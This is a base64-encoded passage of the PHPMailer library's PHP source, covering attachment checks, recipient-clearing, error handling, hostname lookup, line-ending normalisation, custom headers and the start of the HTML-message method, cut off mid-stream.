hbWVUb1R5cGUoJG5hbWUpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXBwZW5kIHRvICRhdHRhY2htZW50IGFycmF5CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KAogICAgICAgICAgICAwID0+ICRzdHJpbmcsCiAgICAgICAgICAgIDEgPT4gJG5hbWUsCiAgICAgICAgICAgIDIgPT4gJG5hbWUsCiAgICAgICAgICAgIDMgPT4gJGVuY29kaW5nLAogICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICA1ID0+IHRydWUsIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgNyA9PiAkY2lkCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGlubGluZSBhdHRhY2htZW50IGlzIHByZXNlbnQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpbmxpbmVJbWFnZUV4aXN0cygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhbiBhdHRhY2htZW50IChub24taW5saW5lKSBpcyBwcmVzZW50LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhdHRhY2htZW50RXhpc3RzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCkgewogICAgICAgICAgICBpZiAoJGF0dGFjaG1lbnRbNl0gPT0gJ2F0dGFjaG1lbnQnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiB0aGlzIG1lc3NhZ2UgaGFzIGFuIGFsdGVybmF0aXZlIGJvZHkgc2V0LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhbHRlcm5hdGl2ZUV4aXN0cygpCiAgICB7CiAgICAgICAgcmV0dXJuICFlbXB0eSgkdGhpcy0+QWx0Qm9keSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBxdWV1ZWQgYWRkcmVzc2VzIG9mIGdpdmVuIGtpbmQuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAka2luZCAndG8nLCAnY2MnLCBvciAnYmNjJwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclF1ZXVlZEFkZHJlc3Nlcygka2luZCkKICAgIHsKICAgICAgICAkUmVjaXBpZW50c1F1ZXVlID0gJHRoaXMtPlJlY2lwaWVudHNRdWV1ZTsKICAgICAgICBmb3JlYWNoICgkUmVjaXBpZW50c1F1ZXVlIGFzICRhZGRyZXNzID0+ICRwYXJhbXMpIHsKICAgICAgICAgICAgaWYgKCRwYXJhbXNbMF0gPT0gJGtpbmQpIHsKICAgICAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5SZWNpcGllbnRzUXVldWVbJGFkZHJlc3NdKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENsZWFyIGFsbCBUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFkZHJlc3NlcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0bykgewogICAgICAgICAgICB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkdG9bMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCd0bycpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIENDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQ0NzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Y2MgYXMgJGNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRjY1swXSldKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+Y2xlYXJRdWV1ZWRBZGRyZXNzZXMoJ2NjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgQkNDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQkNDcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmJjYyBhcyAkYmNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRiY2NbMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5iY2MgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygnYmNjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgUmVwbHlUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclJlcGx5VG9zKCkKICAgIHsKICAgICAgICAkdGhpcy0+UmVwbHlUbyA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPlJlcGx5VG9RdWV1ZSA9IGFycmF5KCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgcmVjaXBpZW50IHR5cGVzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFsbFJlY2lwaWVudHMoKQogICAgewogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHMgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5SZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGZpbGVzeXN0ZW0sIHN0cmluZywgYW5kIGJpbmFyeSBhdHRhY2htZW50cy4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnQgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGN1c3RvbSBoZWFkZXJzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckN1c3RvbUhlYWRlcnMoKQogICAgewogICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXIgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVycm9yIG1lc3NhZ2UgdG8gdGhlIGVycm9yIGNvbnRhaW5lci4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtc2cKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2V0RXJyb3IoJG1zZykKICAgIHsKICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQrKzsKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciA9PSAnc210cCcgYW5kICFpc19udWxsKCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkbGFzdGVycm9yID0gJHRoaXMtPnNtdHAtPmdldEVycm9yKCk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJGxhc3RlcnJvclsnZXJyb3InXSkpIHsKICAgICAgICAgICAgICAgICRtc2cgLj0gJHRoaXMtPmxhbmcoJ3NtdHBfZXJyb3InKSAuICRsYXN0ZXJyb3JbJ2Vycm9yJ107CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ2RldGFpbCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBEZXRhaWw6ICcuICRsYXN0ZXJyb3JbJ2RldGFpbCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbGFzdGVycm9yWydzbXRwX2NvZGUnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgU01UUCBjb2RlOiAnIC4gJGxhc3RlcnJvclsnc210cF9jb2RlJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBBZGRpdGlvbmFsIFNNVFAgaW5mbzogJyAuICRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR0aGlzLT5FcnJvckluZm8gPSAkbXNnOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGFuIFJGQyA4MjIgZm9ybWF0dGVkIGRhdGUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZmNEYXRlKCkKICAgIHsKICAgICAgICAvLyBTZXQgdGhlIHRpbWUgem9uZSB0byB3aGF0ZXZlciB0aGUgZGVmYXVsdCBpcyB0byBhdm9pZCA1MDAgZXJyb3JzCiAgICAgICAgLy8gV2lsbCBkZWZhdWx0IHRvIFVUQyBpZiBpdCdzIG5vdCBzZXQgcHJvcGVybHkgaW4gcGhwLmluaQogICAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoQGRhdGVfZGVmYXVsdF90aW1lem9uZV9nZXQoKSk7CiAgICAgICAgcmV0dXJuIGRhdGUoJ0QsIGogTSBZIEg6aTpzIE8nKTsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCB0aGUgc2VydmVyIGhvc3RuYW1lLgogICAgICogUmV0dXJucyAnbG9jYWxob3N0LmxvY2FsZG9tYWluJyBpZiB1bmtub3duLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXJ2ZXJIb3N0bmFtZSgpCiAgICB7CiAgICAgICAgJHJlc3VsdCA9ICdsb2NhbGhvc3QubG9jYWxkb21haW4nOwogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkhvc3RuYW1lKSkgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPkhvc3RuYW1lOwogICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUikgYW5kIGFycmF5X2tleV9leGlzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpIGFuZCAhZW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRob3N0bmFtZScpICYmIGdldGhvc3RuYW1lKCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSBnZXRob3N0bmFtZSgpOwogICAgICAgIH0gZWxzZWlmIChwaHBfdW5hbWUoJ24nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IHBocF91bmFtZSgnbicpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCBhbiBlcnJvciBtZXNzYWdlIGluIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGxhbmcoJGtleSkKICAgIHsKICAgICAgICBpZiAoY291bnQoJHRoaXMtPmxhbmd1YWdlKSA8IDEpIHsKICAgICAgICAgICAgJHRoaXMtPnNldExhbmd1YWdlKCdlbicpOyAvLyBzZXQgdGhlIGRlZmF1bHQgbGFuZ3VhZ2UKICAgICAgICB9CgogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCRrZXksICR0aGlzLT5sYW5ndWFnZSkpIHsKICAgICAgICAgICAgaWYgKCRrZXkgPT0gJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSB7CiAgICAgICAgICAgICAgICAvL0luY2x1ZGUgYSBsaW5rIHRvIHRyb3VibGVzaG9vdGluZyBkb2NzIG9uIFNNVFAgY29ubmVjdGlvbiBmYWlsdXJlCiAgICAgICAgICAgICAgICAvL3RoaXMgaXMgYnkgZmFyIHRoZSBiaWdnZXN0IGNhdXNlIG9mIHN1cHBvcnQgcXVlc3Rpb25zCiAgICAgICAgICAgICAgICAvL2J1dCBpdCdzIHVzdWFsbHkgbm90IFBIUE1haWxlcidzIGZhdWx0LgogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5sYW5ndWFnZVska2V5XSAuICcgaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIvd2lraS9Ucm91Ymxlc2hvb3RpbmcnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bGFuZ3VhZ2VbJGtleV07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9SZXR1cm4gdGhlIGtleSBhcyBhIGZhbGxiYWNrCiAgICAgICAgICAgIHJldHVybiAka2V5OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGVycm9yIG9jY3VycmVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIGlmIGFuIGVycm9yIGRpZCBvY2N1ci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzRXJyb3IoKQogICAgewogICAgICAgIHJldHVybiAoJHRoaXMtPmVycm9yX2NvdW50ID4gMCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbnN1cmUgY29uc2lzdGVudCBsaW5lIGVuZGluZ3MgaW4gYSBzdHJpbmcuCiAgICAgKiBDaGFuZ2VzIGV2ZXJ5IGVuZCBvZiBsaW5lIGZyb20gQ1JMRiwgQ1Igb3IgTEYgdG8gJHRoaXMtPkxFLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciBTdHJpbmcgdG8gZml4RU9MCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZml4RU9MKCRzdHIpCiAgICB7CiAgICAgICAgLy8gTm9ybWFsaXNlIHRvIFxuCiAgICAgICAgJG5zdHIgPSBzdHJfcmVwbGFjZShhcnJheSgiXHJcbiIsICJcciIpLCAiXG4iLCAkc3RyKTsKICAgICAgICAvLyBOb3cgY29udmVydCBMRSBhcyBuZWVkZWQKICAgICAgICBpZiAoJHRoaXMtPkxFICE9PSAiXG4iKSB7CiAgICAgICAgICAgICRuc3RyID0gc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkbnN0cik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbnN0cjsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBhIGN1c3RvbSBoZWFkZXIuCiAgICAgKiAkbmFtZSB2YWx1ZSBjYW4gYmUgb3ZlcmxvYWRlZCB0byBjb250YWluCiAgICAgKiBib3RoIGhlYWRlciBuYW1lIGFuZCB2YWx1ZSAobmFtZTp2YWx1ZSkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lIEN1c3RvbSBoZWFkZXIgbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkdmFsdWUgSGVhZGVyIHZhbHVlCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEN1c3RvbUhlYWRlcigkbmFtZSwgJHZhbHVlID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJHZhbHVlID09PSBudWxsKSB7CiAgICAgICAgICAgIC8vIFZhbHVlIHBhc3NlZCBpbiBhcyBuYW1lOnZhbHVlCiAgICAgICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXJbXSA9IGV4cGxvZGUoJzonLCAkbmFtZSwgMik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPkN1c3RvbUhlYWRlcltdID0gYXJyYXkoJG5hbWUsICR2YWx1ZSk7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJucyBhbGwgY3VzdG9tIGhlYWRlcnMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDdXN0b21IZWFkZXJzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPkN1c3RvbUhlYWRlcjsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYm9keSBmcm9tIGFuIEhUTUwgc3RyaW5nLgogICAgICogQXV0b21hdGljYWxseSBpbmxpbmVzIGltYWdlcyBhbmQgY3JlYXRlcyBhIHBsYWluLXRleHQgdmVyc2lvbiBieSBjb252ZXJ0aW5nIHRoZSBIVE1MLAogICAgICogb3ZlcndyaXRpbmcgYW55IGV4aXN0aW5nIHZhbHVlcyBpbiBCb2R5IGFuZCBBbHRCb2R5LgogICAgICogRG8gbm90IHNvdXJjZSAkbWVzc2FnZSBjb250ZW50IGZyb20gdXNlciBpbnB1dCEKICAgICAqICRiYXNlZGlyIGlzIHByZXBlbmRlZCB3aGVuIGhhbmRsaW5nIHJlbGF0aXZlIFVSTHMsIGUuZy4gPGltZyBzcmM9Ii9pbWFnZXMvYS5wbmciPiBhbmQgbXVzdCBub3QgYmUgZW1wdHkKICAgICAqIHdpbGwgbG9vayBmb3IgYW4gaW1hZ2UgZmlsZSBpbiAkYmFzZWRpci9pbWFnZXMvYS5wbmcgYW5kIGNvbnZlcnQgaXQgdG8gaW5saW5lLgogICAgICogSWYgeW91IGRvbid0IHByb3ZpZGUgYSAkYmFzZWRpciwgcmVsYXRpdmUgcGF0aHMgd2lsbCBiZSBsZWZ0IHVudG91Y2hlZCAoYW5kIHRodXMgcHJvYmFibHkgYnJlYWsgaW4gZW1haWwpCiAgICAgKiBJZiB5b3UgZG9uJ3Qgd2FudCB0byBhcHBseSB0aGVzZSB0cmFuc2Zvcm1hdGlvbnMgdG8geW91ciBIVE1MLCBqdXN0IHNldCBCb2R5IGFuZCBBbHRCb2R5IGRpcmVjdGx5LgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJG1lc3NhZ2UgSFRNTCBtZXNzYWdlIHN0cmluZwogICAgICogQHBhcmFtIHN0cmluZyAkYmFzZWRpciBBYnNvbHV0ZSBwYXRoIHRvIGEgYmFzZSBkaXJlY3RvcnkgdG8gcHJlcGVuZCB0byByZWxhdGl2ZSBwYXRocyB0byBpbWFnZXMKICAgICAqIEBwYXJhbSBib29sZWFufGNhbGxhYmxlICRhZHZhbmNlZCBXaGV0aGVyIHRvIHVzZSB0aGUgaW50ZXJuYWwgSFRNTCB0byB0ZXh0IGNvbnZlcnRlcgogICAgICogICAgb3IgeW91ciBvd24gY3VzdG9tIGNvbnZlcnRlciBAc2VlIFBIUE1haWxlcjo6aHRtbDJ0ZXh0KCkKICAgICAqIEByZXR1cm4gc3RyaW5nICRtZXNzYWdlIFRoZSB0cmFuc2Zvcm1lZCBtZXNzYWdlIEJvZHkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIG1zZ0hUTUwoJG1lc3NhZ2UsICRiYXNlZGlyID0gJycsICRhZHZhbmNlZCA9IGZhbHNlKQogICAgewogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvKHNyY3xiYWNrZ3JvdW5kKT1bIlwnXSguKilbIlwnXS9VaScsICRtZXNzYWdlLCAkaW1hZ2VzKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkaW1hZ2VzKSkgewogICAgICAgICAgICBpZiAoc3RybGVuKCRiYXNlZGlyKSA+IDEgJiYgc3Vic3RyKCRiYXNlZGlyLCAtMSkgIT0gJy8nKSB7CiAgICAgICAgICAgICAgICAvLyBFbnN1cmUgJGJhc2VkaXIgaGFzIGEgdHJhaWxpbmcgLwogICAgICAgICAgICAgICAgJGJhc2VkaXIgLj0gJy8nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRpbWFnZXNbMl0gYXMgJGltZ2luZGV4ID0+ICR1cmwpIHsKICAgICAgICAgICAgICAgIC8vIENvbnZlcnQgZGF0YSBVUklzIGludG8gZW1iZWRkZWQgaW1hZ2VzCiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnI15kYXRhOihpbWFnZVteOyxdKikoO2Jhc2U2NCk\/LCMnLCAkdXJsLCAkbWF0Y2gpKSB7CiAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBzdWJzdHIoJHVybCwgc3RycG9zKCR1cmwsICcsJykpOwogICAgICAgICAgICAgICAgICAgIGlmICgkbWF0Y2hbMl0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBiYXNlNjRfZGVjb2RlKCRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHJhd3VybGRlY29kZSgkZGF0YSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmFkZFN0cmluZ0VtYmVkZGVkSW1hZ2UoJGRhdGEsICRjaWQsICdlbWJlZCcgLiAkaW1naW5kZXgsICdiYXNlNjQnLCAkbWF0Y2hbMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzBdWyRpbWdpbmRleF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgICAgICAvLyBPbmx5IHByb2Nlc3MgcmVsYXRpdmUgVVJMcyBpZiBhIGJhc2VkaXIgaXMgcHJvdmlkZWQgKGkuZS4gbm8gYWJzb2x1dGUgbG9jYWwgcGF0aHMpCiAgICAgICAgICAgICAgICAgICAgIWVtcHR5KCRiYXNlZGlyKQogICAgICAgICAgICAgICAgICAgIC8vIElnbm9yZSBVUkxzIGNvbnRhaW5pbmcgcGFyZW50IGRpciB0cmF2ZXJzYWwgKC4uKQogICAgICAgICAgICAgICAgICAgICYmIChzdHJwb3MoJHVybCwgJy4uJykgPT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgdXJscyB0aGF0IGFyZSBhbHJlYWR5IGlubGluZSBpbWFnZXMKICAgICAgICAgICAgICAgICAgICAmJiBzdWJzdHIoJHVybCwgMCwgNCkgIT09ICdjaWQ6JwogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgYWJzb2x1dGUgVVJMcywgaW5jbHVkaW5nIGFub255bW91cyBwcm90b2NvbAogICAgICAgICAgICAgICAgICAgICYmICFwcmVnX21hdGNoKCcjXlthLXpdW2EtejAtOSsuLV0qOj8vLyNpJywgJHVybCkKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgPSBkaXJuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZGlyZWN0b3J5ID09ICcuJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRkaXJlY3RvcnkpID4gMSAmJiBzdWJzdHIoJGRpcmVjdG9yeSwgLTEpICE9ICcvJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5IC49ICcvJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRFbWJlZGRlZEltYWdlKAogICAgICAgICAgICAgICAgICAgICAgICAkYmFzZWRpciAuICRkaXJlY3RvcnkgLiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICRjaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ2Jhc2U2NCcsCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGY6Ol9taW1lX3R5cGVzKChzdHJpbmcpc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSBwcmVnX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLycgLiAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPVsiXCddJyAuIHByZWdfcXVvdGUoJHVybCwgJy8nKSAuICdbIlwnXS9VaScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+aXNIVE1MKHRydWUpOwogICAgICAgIC8vIENvbnZlcnQgYWxsIG1lc3NhZ2UgYm9keSBsaW5lIGJyZWFrcyB0byBDUkxGLCBtYWtlcyBxdW90ZWQtcHJpbnRhYmxlIGVuY29kaW5nIHdvcmsgbXVjaCBiZXR0ZXIKICAgICAgICAkdGhpcy0+Qm9keSA9ICR0aGlzLT5ub3JtYWxpemVCcmVha3MoJG1lc3NhZ2UpOwogICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJHRoaXMtPm5vcm1hbGl6ZUJyZWFrcygkdGhpcy0+aHRtbDJ0ZXh0KCRtZXNzYWdlLCAkYWR2YW5jZWQpKTsKICAgICAgICBpZiAoISR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJ1RvIHZpZXcgdGhpcyBlbWFpbCBtZXNzYWdlLCBvcGVuIGl0IGluIGEgcHJvZ3JhbSB0aGF0IHVuZGVyc3RhbmRzIEhUTUwhJyAuCiAgICAgICAgICAgICAgICBzZWxmOjpDUkxGIC4gc2VsZjo6Q1JMRjsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0aGlzLT5Cb2R5OwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydCBh